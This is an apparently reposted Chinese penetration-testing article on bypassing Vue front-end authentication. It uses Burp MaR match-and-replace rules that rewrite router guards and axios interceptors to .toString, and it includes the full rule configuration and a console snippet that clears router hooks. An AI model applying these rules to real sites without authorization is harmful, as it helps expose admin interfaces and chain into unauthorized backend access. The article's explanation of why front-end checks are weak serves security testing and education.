《MaR之Vue前端通杀鉴权绕过剖析》

admin 2026-07-12 05:08:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析了Vue前端鉴权机制(路由守卫与请求拦截器)的绕过技术,提出基于MaR工具配合JavaScripttoString方法的通用方案。通过将鉴权钩子函数名替换为toString,可架空前端鉴权逻辑,使未登录用户直接访问后台页面。文章提供了具体MaR规则配置与实战演示,强调前端绕过需结合后端未授权接口才能形成完整攻击链。该技术适用于所有基于Webpack打包的SPA应用。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,WEB安全,安全工具


cover_image

《MaR之Vue前端通杀鉴权绕过剖析》

Ageatlys Ageatlys

朱厌安全

2026年5月28日 10:00 北京

在小说阅读器读本章

去阅读

作者:ArG3 & Gh0stkey

工具:https://github.com/gh0stkey/MaR

0x00 前言

在前后端分离架构盛行的今天,Vue.js 作为主流前端框架,广泛应用于各类 Web 系统。开发者为了控制用户访问权限,通常会在前端实现类鉴权逻辑——通过路由守卫和请求拦截器阻止未登录用户访问特定页面。

然而,前端鉴权本质上只是”纸糊的门”。本文介绍一种基于 MaR(Match and Replace) 规则配合 JavaScript toString 万金油函数 的通用绕过方案,由于每个业务的鉴权逻辑又各不相同,复杂度极高且无法通用。而 toString 万金油方案无需理解业务鉴权逻辑的具体实现,仅通过替换方法名即可通用地架空所有拦截器和路由守卫。


0x01 原理分析

1.1 Vue 前端鉴权机制

Vue 应用中常见的前端鉴权手段有两类:

router.beforeEach((to, from, next) => {
  const token = store.getters.token
  if (!token && to.meta.requireAuth) {
    next('/login?redirect=' + to.path)  // 未登录,跳转登录页
  } else {
    next()
  }
})

路由守卫在用户访问每个路由之前/之后执行,未通过校验则强制跳转到登录页。这就是为什么我们经常看到这样的 URL:

https://target.com/login?redirect=/admin/dashboard

本质上 /admin/dashboard 对应的前端页面是真实存在的,只是路由守卫拦截了访问。

请求拦截器(Interceptors)

axios.interceptors.request.use(function (config) {
// 检查 token 是否存在
if (!store.state.user.token) {
    returnPromise.reject('未登录')
  }
// 检查 token 刷新锁
if (store.state.user.lock_refresh_token) {
    returnnewPromise((resolve) => {
      setTimeout(() => resolve(config), 6000)
    })
  }
  config.headers['Authorization'] = 'Bearer ' + token
return config
})

拦截器在每个 HTTP 请求发出前响应返回后执行。如果拦截器内部访问了不存在的 Store 状态(如未登录时 state.user 为 undefined),会直接抛出异常,导致:

  • 所有 API 请求返回 401
  • 响应拦截器捕获 401 后执行 router.push('/login')
  • 页面被强制跳转回登录页,无法停留在目标路由

1.2 为什么会跳转至登录页面

以真实场景为例,完整的拦截链路如下:

第一层:路由守卫拦截跳转

router.beforeEach((to, from, next) => {
  if (!token) next('/login')  // 未登录直接拦截路由
})

即使通过控制台手动清除路由守卫:

var r = document.querySelector('#app').__vue__.$router
r.beforeHooks.length = 0
r.afterHooks.length = 0
r.push('/wel/dashboard')

路由虽然跳转成功,但页面组件挂载后会立即触发第二层拦截。

第二层:响应拦截器强制跳转

a.a.interceptors.response.use((function(e){
  var s = Number(e.status) || 200;
  if (200 == s && 1e4 == e.data.code) {
    // 检测到 token 失效(code=10000),弹窗提示并跳转登录页
    MessageBox.confirm("系统提示", {
      confirmButtonText: "重新登录",
      showCancelButton: false,
      closeOnClickModal: false
    })
  }
  // ...
}))

当页面组件 mounted 时,会自动发起数据请求(如 GET /api/system/dict/dictionaryGET /api/system/menu/top-menu),后端返回 401 Unauthorized,响应拦截器捕获后执行:

Error: 请求未授权 → router.push('/login') → 强制跳转登录页

第三层:组件内路由守卫

// beforeRouteEnter 在组件级别再次校验
beforeRouteEnter(to, from, next) {
  // 检查权限,不通过则 next('/login')
}

三层防护形成闭环:路由守卫拦跳转 → 响应拦截器拦数据 → 组件守卫再兜底。仅清除 beforeHooks 只能突破第一层,后续两层仍会将用户踢回登录页。

这就是为什么必须通过 MaR 从 JS 源码层面同时废掉所有拦截器和守卫。

1.3 toString 万金油原理

JavaScript 中,几乎所有对象都继承了 .toString() 方法。关键特性在于:

| 方法 | 行为 | | — | — | | obj.use(fn) | 注册回调函数,fn 会在特定时机被执行 | | obj.toString(fn) | 调用原生 toString 方法,fn 作为参数被完全忽略 |

// 原始代码 —— 注册拦截器,函数会被执行
axios.interceptors.request.use((function(e){ /* 鉴权逻辑 */ }))

// 替换后 —— toString 忽略参数,拦截器不会被注册
axios.interceptors.request.toString((function(e){ /* 鉴权逻辑 */ }))

为什么 toString 是万金油?

  1. 语法兼容toString 接受任意参数不报错,JS 引擎正常解析
  2. 逻辑无害:不会注册任何回调,原有鉴权逻辑被架空
  3. 上下文安全:不影响后续代码执行,不会打断 JS 文件从上到下的解析流程
  4. 通用性强:适用于所有 Webpack 打包后的混淆代码,无需理解 AST 结构

同理,路由守卫也可以用相同方式处理:

// 原始
router.beforeEach((to, from, next) => { /* 跳转登录页逻辑 */ })

// 替换后
router.beforeEach.toString((to, from, next) => { /* 逻辑被忽略 */ })

0x02 MaR 规则

基于上述原理,我们制定了以下 Match and Replace 规则:

  rule:
-name:ChangeHook
    loaded:false
    c_scope:requesturi
    relationship:Matches
    condition:.*?\.js
    c_regex:true
    e_scope:request
    f_regex:''
    s_regex:''
    m_scope:responsebody
    match:\.(beforeEach|afterEach)
    replace:.toString
    m_regex:true
-name:'Change Intercept '
    loaded:false
    c_scope:requesturi
    relationship:Matches
    condition:.*?\.js
    c_regex:true
    e_scope:request
    f_regex:''
    s_regex:''
    m_scope:responsebody
    match:interceptors.(response|request).use
    replace:interceptors.$1.toString
    m_regex:true

具体替换对照

# 路由守卫
.beforeEach(  →  .beforeEach.toString(
.afterEach(   →  .afterEach.toString(

# 请求/响应拦截器
interceptors.request.use(   →  interceptors.request.toString(
interceptors.response.use(  →  interceptors.response.toString(

在 MaR 功能中配置上述规则,即可对经过代理的 JS 响应自动完成替换。


0x03 实战演示

3.1 环境说明

  • 目标:http://target.com/#/wel/dashboard
  • 工具:https://github.com/gh0stkey/MaR
  • 目标框架:Vue.js + Axios + Vuex

3.2 未替换时的表现

直接访问目标地址,由于前端拦截器中的鉴权逻辑抛出异常,页面提示401 并且被踢回了 /login 路由:

3.3 配置 MaR 规则

在 Burp Suite 中配置 MaR 规则:

3.4 替换后的效果

配置规则后刷新页面,前端鉴权被绕过,后台页面成功渲染:

对比替换前后的 JS 文件差异:

替换前

替换后

0x04 深入分析:为什么 toString 不会报错?

以实际打包代码为例:

// 替换前(原始)
a.a.interceptors.request.use((function(e){
var t;
if(n["a"].state.user.lock_refresh_token)
    returnnewPromise((function(t){setTimeout((function(){t(e)}),6e3)}));
"/api/auth/oauth/token"===e.url && ...
  l.a.start(),
  e.method=e.method||"get",
  ...
}), (function(e){returnPromise.reject(e)}))

// 替换后
a.a.interceptors.request.toString((function(e){
var t;
if(n["a"].state.user.lock_refresh_token)
    returnnewPromise((function(t){setTimeout((function(){t(e)}),6e3)}));
"/api/auth/oauth/token"===e.url && ...
  l.a.start(),
  e.method=e.method||"get",
  ...
}), (function(e){returnPromise.reject(e)}))

执行流程对比:

| 步骤 | .use() | .toString() | | — | — | — | | 1 | 解析函数参数 | 解析函数参数 | | 2 | 将函数注册为拦截器 | 忽略参数,返回字符串 "[object Object]" | | 3 | 后续每个请求都执行该函数 | 什么都不发生 | | 4 | 函数内部抛异常 → 请求全部失败 | 拦截器未注册 → 请求正常发出 |

关键点:JavaScript 在解析 toString((function(e){...})) 时,不会执行传入的匿名函数,只是将其作为参数传递给 toString,而 toString 的原生实现直接忽略所有参数。


0x05 利用价值

前端绕过 ≠ 后端绕过:前端绕过 + 后端未授权接口 = 完整越权链。该技术同样适用于 React(react-router + axios)、Angular(HttpInterceptor)等所有基于 Webpack 打包的 SPA 应用。


0x06 总结

MaR 技术的核心思路可以概括为:

匹配鉴权钩子 → toString 替换 → 前端鉴权架空 → 页面渲染 → 攻击面暴露

这是一种轻量、通用、无副作用的前端鉴权绕过方案。无需逆向 Webpack 打包逻辑,无需理解业务代码,仅通过两条简单的正则替换规则,即可突破 Vue 生态中最常见的前端鉴权防护。


References

  • Vue Router Navigation Guards

  • Axios Interceptors

  • JavaScript Object.prototype.toString()


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:朱厌安全 Ageatlys Ageatlys《《MaR之Vue前端通杀鉴权绕过剖析》》

评论:0   参与:  0